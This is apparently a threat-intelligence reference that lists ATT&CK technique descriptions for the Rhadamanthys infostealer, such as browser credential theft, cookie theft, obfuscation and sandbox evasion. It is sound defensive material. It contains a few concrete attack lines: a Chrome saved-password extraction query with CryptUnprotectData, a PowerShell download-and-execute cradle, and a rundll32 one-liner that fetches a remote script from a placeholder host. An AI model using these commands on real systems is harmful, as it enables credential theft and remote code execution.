Description: Heatmap of instances of ATT&CK techniques for Rhadamanthys Stealer based on recent public CTI reporting (sources in notes for each technique).
Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406)).Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.
Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://app.tidalcyber.com/technique/3eafcd8b-0cb8-4d23-8785-3f80a3c897c7) while Windows installations include the [Windows Command Shell](https://app.tidalcyber.com/technique/be095bcc-4769-4010-b2db-3033d01efdbe) and [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde).There are also cross-platform interpreters such as [Python](https://app.tidalcyber.com/technique/68fed1c9-e060-4c4d-83d9-d8c817893d65), as well as those commonly associated with client applications such as [JavaScript](https://app.tidalcyber.com/technique/8a669da8-8894-4fb0-9124-c3c8418985cc) and [Visual Basic](https://app.tidalcyber.com/technique/0340ed34-6db2-4979-bf73-2c16855867b4).Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://app.tidalcyber.com/tactics/586a5b49-c566-4a57-beb4-e7c667f9c34c) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) in order to achieve remote Execution.[[Powershell Remote Commands](https://app.tidalcyber.com/references/24c526e1-7199-45ca-99b4-75e75c7041cd)][[Cisco IOS Software Integrity Assurance – Command History](https://app.tidalcyber.com/references/dbca06dd-1184-4d52-9ee8-b059e368033c)][[Remote Shell Execution in Python](https://app.tidalcyber.com/references/4ea54256-42f9-4b35-8f9e-e595ab9be9ce)]
Adversaries may acquire credentials from web browsers by reading files specific to the target browser.[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)] Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.[[Microsoft CryptUnprotectData April 2018](https://app.tidalcyber.com/references/258088ae-96c2-4520-8eb5-1a7e540a9a24)]Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.[[Proofpoint Vega Credential Stealer May 2018](https://app.tidalcyber.com/references/c52fe62f-4df4-43b0-a126-2df07dc61fc0)][[FireEye HawkEye Malware July 2017](https://app.tidalcyber.com/references/7ad228a8-5450-45ec-86fc-ea038f7c6ef7)] Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://app.tidalcyber.com/technique/9503955c-fa53-452a-b717-7e23bfb4df83).
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.[[GitHub Mimikittenz July 2016](https://app.tidalcyber.com/references/2e0a95b2-3f9a-4638-9bc5-ff1f3ac2af4b)]
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.Adversaries may do this using a [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), such as [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) as well as a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907), which have functionality to interact with the file system to gather information.[[show_run_config_cmd_cisco](https://app.tidalcyber.com/references/5a68a45a-a53e-5d73-a82a-0cc951071aef)] Adversaries may also use [Automated Collection](https://app.tidalcyber.com/technique/107ad6c5-79b1-468c-9519-1578bee2ac49) on the local system.
Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.[[Windows Commands JPCERT](https://app.tidalcyber.com/references/9d935f7f-bc2a-4d09-a51a-82074ffd7d77)] Custom tools may also be used to gather file and directory information and interact with the [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560). Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://app.tidalcyber.com/software/062deac9-8f05-44e2-b347-96b59ba166ca). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://app.tidalcyber.com/technique/3dea57fc-3131-408b-a1fd-ff2eea1d858f)).Files can also be transferred using various [Web Service](https://app.tidalcyber.com/technique/a729feee-8e21-444e-8eea-2ec595b09931)s as well as native or otherwise present tools on the victim system.[[PTSecurity Cobalt Dec 2016](https://app.tidalcyber.com/references/2de4d38f-c99d-4149-89e6-0349a4902aa2)]On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://app.tidalcyber.com/software/2fe21578-ee31-4ee8-b6ab-b5f76f97d043), and [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.[[t1105_lolbas](https://app.tidalcyber.com/references/80e649f5-6c74-4d66-a452-4f4cd51501da)]
Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://app.tidalcyber.com/technique/28fd13d1-b555-47fa-9d47-caf6b1367ace)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://app.tidalcyber.com/technique/34674b83-86a7-4ad9-8b05-49b505aa5ef0)).
Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Wikipedia OSI](https://app.tidalcyber.com/references/d1080030-12c7-4223-92ab-fb764acf111d)] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).ICMP communication between hosts is one example.[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)] Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.[[Microsoft ICMP](https://app.tidalcyber.com/references/47612548-dad1-4bf3-aa6f-a53aefa06f6a)] However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and [Deobfuscate/Decode Files or Information](https://app.tidalcyber.com/technique/88c2fb46-877a-4005-8425-7639d0da1920) for [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. [[Volexity PowerDuke November 2016](https://app.tidalcyber.com/references/4026c055-6020-41bb-a4c8-54b308867023)] Adversaries may also use compressed or archived scripts, such as JavaScript.Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. [[Linux/Cdorked.A We Live Security Analysis](https://app.tidalcyber.com/references/f76fce2e-2884-4b50-a7d7-55f08b84099c)] Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. [[Carbon Black Obfuscation Sept 2016](https://app.tidalcyber.com/references/bed8ae68-9738-46fb-abc9-0004fa35636a)]
Adversaries may also abuse [Command Obfuscation](https://app.tidalcyber.com/technique/d8406198-626c-5659-945e-2b5105fcd0c9) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. [[FireEye Obfuscation June 2017](https://app.tidalcyber.com/references/6d1089b7-0efe-4961-8abc-22a882895377)][[FireEye Revoke-Obfuscation July 2017](https://app.tidalcyber.com/references/e03e9d19-18bb-4d28-8c96-8c1cef89a20b)][[PaloAlto EncodedCommand March 2017](https://app.tidalcyber.com/references/069ef9af-3402-4b13-8c60-b397b0b0bfd7)]
Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb) and access restricted information.Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) in that the objective is gathering data from the victim rather than executing malicious code.All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.[[ThreatPost Social Media Phishing](https://app.tidalcyber.com/references/186c1213-d0c5-4eb6-aa0f-0fd61b07a1f7)][[TrendMictro Phishing](https://app.tidalcyber.com/references/621f1c52-5f34-4293-a507-b58c4084a19b)][[PCMag FakeLogin](https://app.tidalcyber.com/references/f652524c-7950-4a8a-9860-0e658a9581d8)][[Sophos Attachment](https://app.tidalcyber.com/references/b4aa5bf9-31db-42ee-93e8-a576ecc00b57)][[GitHub Phishery](https://app.tidalcyber.com/references/6da51561-a813-4802-aa84-1b3de1bc2e14)] Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.[[Avertium callback phishing](https://app.tidalcyber.com/references/abeb1146-e5e5-5ecc-9b70-b348fba097f6)]
Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing[[Proofpoint-spoof](https://app.tidalcyber.com/references/fe9f7542-bbf0-5e34-b3a9-8596cc5aa754)] the identity of the sender which can be used to fool both the human recipient as well as automated security tools.[[cyberproof-double-bounce](https://app.tidalcyber.com/references/4406d688-c392-5244-b438-6995f38dfc61)]
Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://app.tidalcyber.com/technique/01505d46-8675-408d-881e-68f4d8743d47)).[[Microsoft OAuth Spam 2022](https://app.tidalcyber.com/references/086c06a0-3960-5fa8-b034-cef37a3aee90)][[Palo Alto Unit 42 VBA Infostealer 2014](https://app.tidalcyber.com/references/c3eccab6-b12b-513a-9a04-396f7b3dcf63)]
Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.The Registry contains a significant amount of information about the operating system, configuration, software, and security.[[Wikipedia Windows Registry](https://app.tidalcyber.com/references/656f0ffd-33e0-40ef-bdf7-70758f855f18)] Information can easily be queried using the [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://app.tidalcyber.com/technique/58722f84-b119-45a8-8e29-0065688015ee) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://app.tidalcyber.com/technique/8941d1f4-d80c-4aaa-821a-a059c2a0f854)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).Rundll32.exe can also be used to execute [Control Panel](https://app.tidalcyber.com/technique/b5cc9ab3-6501-4c50-904e-1a25a4088125) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [[Trend Micro CPL](https://app.tidalcyber.com/references/d90a33aa-8f20-49cb-aa27-771249cb65eb)]Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. [[This is Security Command Line Confusion](https://app.tidalcyber.com/references/49a21bba-b77d-4b0e-b666-20ef2826e92c)]
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.[[Attackify Rundll32.exe Obscurity](https://app.tidalcyber.com/references/daa35853-eb46-4ef4-b543-a2c5157f96bf)][[Github NoRunDll](https://app.tidalcyber.com/references/72d4b682-ed19-4e0f-aeff-faa52b3a0439)] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use [Masquerading](https://app.tidalcyber.com/technique/a0adacc1-8d2a-4e0b-92c1-3766264df4fd) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.[[rundll32.exe defense evasion](https://app.tidalcyber.com/references/0f31f0ff-9ddb-4ea9-88d0-7b3b688764af)]
Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://app.tidalcyber.com/technique/e9bff6ff-3142-4910-8f67-19b868912602) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c).
An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.[[Pass The Cookie](https://app.tidalcyber.com/references/dc67930f-5c7b-41be-97e9-d8f4a55e6019)]There are several examples of malware targeting cookies from web browsers on the local system.[[Kaspersky TajMahal April 2019](https://app.tidalcyber.com/references/1ed20522-52ae-4d0c-b42e-c680490958ac)][[Unit 42 Mac Crypto Cookies January 2019](https://app.tidalcyber.com/references/0a88e730-8ed2-4983-8f11-2cb2e4abfe3e)] There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9)) that can be set up by an adversary and used in phishing campaigns.[[Github evilginx2](https://app.tidalcyber.com/references/322e5d90-5095-47ea-b0e2-e7e5fb45fcca)][[GitHub Mauraena](https://app.tidalcyber.com/references/578ecf62-b546-4f52-9d50-92557edf2dd4)]
After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://app.tidalcyber.com/technique/d36a5323-e249-44e8-9c8b-5cc9c023a5e1) technique to login to the corresponding web application.
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://app.tidalcyber.com/technique/a2961a00-450e-45a5-b293-f699d9f3b4ea) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.Tools such as [Systeminfo](https://app.tidalcyber.com/software/cecea681-a753-47b5-9d77-c10a5b4403ab) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather detailed system information (e.g. show version).[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)] [System Information Discovery](https://app.tidalcyber.com/technique/a2961a00-450e-45a5-b293-f699d9f3b4ea) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.[[OSX.FairyTale](https://app.tidalcyber.com/references/27f8ad45-53d2-48ba-b549-f7674cf9c2e7)][[20 macOS Common Tools and Techniques](https://app.tidalcyber.com/references/3ee99ff4-daf4-4776-9d94-f7cf193c2b0c)]Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.[[Amazon Describe Instance](https://app.tidalcyber.com/references/c0b6a8a4-0d94-414d-b5ab-cf5485240dee)][[Google Instances Resource](https://app.tidalcyber.com/references/9733447c-072f-4da8-9cc7-0a0ce6a3b820)][[Microsoft Virutal Machine API](https://app.tidalcyber.com/references/f565c237-07c5-4e9e-9879-513627517109)]
Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://app.tidalcyber.com/technique/065d1cca-8ca5-4f8b-a333-2340706f589e)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://app.tidalcyber.com/technique/cdac2469-52ca-42a8-aefe-0321a7e3d658)), or other specialized files/artifacts (e.g. [Private Keys](https://app.tidalcyber.com/technique/e493bf4a-0eba-4e60-a7a6-c699084dc98a)).
An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533).While [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://app.tidalcyber.com/technique/4f4ea659-7653-4bfd-a525-b2af32c5899b).Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://app.tidalcyber.com/technique/acf828f4-7e7e-43e1-bf15-ceab42021430), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). For example, tech support scams can be facilitated through [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://app.tidalcyber.com/technique/acf828f4-7e7e-43e1-bf15-ceab42021430).[[Telephone Attack Delivery](https://app.tidalcyber.com/references/9670da7b-0600-4072-9ecc-65a918b89ac5)]
Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) during automated discovery to shape follow-on behaviors.[[Deloitte Environment Awareness](https://app.tidalcyber.com/references/af842a1f-8f39-4b4f-b4d2-0bbb810e6c31)]Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.[[Unit 42 Pirpi July 2015](https://app.tidalcyber.com/references/42d35b93-2866-46d8-b8ff-675df05db9db)]
